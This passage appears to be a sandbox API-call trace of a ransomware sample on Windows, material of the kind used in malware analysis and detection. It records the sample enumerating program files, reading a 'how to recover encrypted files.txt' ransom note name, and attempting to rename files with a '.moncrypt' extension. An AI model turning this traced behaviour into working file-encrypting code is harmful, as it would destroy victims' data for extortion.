lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.145] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv", cchWideChar=66, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmve", lpUsedDefaultChar=0x0) returned 66 [0058.145] CharLowerBuffW (in: lpsz=".wmv", cchLength=0x4 | out: lpsz=".wmv") returned 0x4 [0058.145] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmv", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmvles\\Pets\\Notes_LOOP_BG.wmve", lpUsedDefaultChar=0x0) returned 4 [0058.146] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x720763d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x720763d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e5d1ee3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_LOOP_BG.wmv", cAlternateFileName="")) returned 0x54e280 [0058.146] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.146] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.146] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.146] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv", dwFileAttributes=0x20) returned 0 [0058.146] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.147] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv.moncrypt")) returned 0 [0058.147] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7210e948, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7210e948, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e61e19f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd43ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_LOOP_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0058.147] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.147] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.147] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.147] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.147] GlobalUnlock (hMem=0x44000c) returned 0 [0058.147] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.147] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.147] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.147] GlobalUnlock (hMem=0x44000c) returned 0 [0058.147] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.147] GlobalUnlock (hMem=0x440004) returned 0 [0058.147] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.147] CharLowerBuffW (in: lpsz="Notes_LOOP_BG_PAL.wmv", cchLength=0x15 | out: lpsz="notes_loop_bg_pal.wmv") returned 0x15 [0058.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv", cchWideChar=70, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmvc", lpUsedDefaultChar=0x0) returned 70 [0058.148] CharLowerBuffW (in: lpsz=".wmv", cchLength=0x4 | out: lpsz=".wmv") returned 0x4 [0058.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmv", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmvles\\Pets\\Notes_LOOP_BG_PAL.wmvc", lpUsedDefaultChar=0x0) returned 4 [0058.148] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7210e948, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7210e948, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e61e19f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd43ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_LOOP_BG_PAL.wmv", cAlternateFileName="")) returned 0x54e280 [0058.149] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.149] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.149] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.149] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv", dwFileAttributes=0x20) returned 0 [0058.149] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.149] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv.moncrypt")) returned 0 [0058.149] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_btn-back-over-select.png", cAlternateFileName="")) returned 1 [0058.149] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.150] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.150] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.150] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.150] GlobalUnlock (hMem=0x440004) returned 0 [0058.150] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.150] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.150] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.150] GlobalUnlock (hMem=0x440004) returned 0 [0058.150] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.150] GlobalUnlock (hMem=0x44000c) returned 0 [0058.150] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.150] CharLowerBuffW (in: lpsz="Pets_btn-back-over-select.png", cchLength=0x1d | out: lpsz="pets_btn-back-over-select.png") returned 0x1d [0058.150] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.150] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.150] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.150] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.150] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.150] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.150] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.150] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.150] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.150] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.150] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.150] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="-", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.151] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.151] 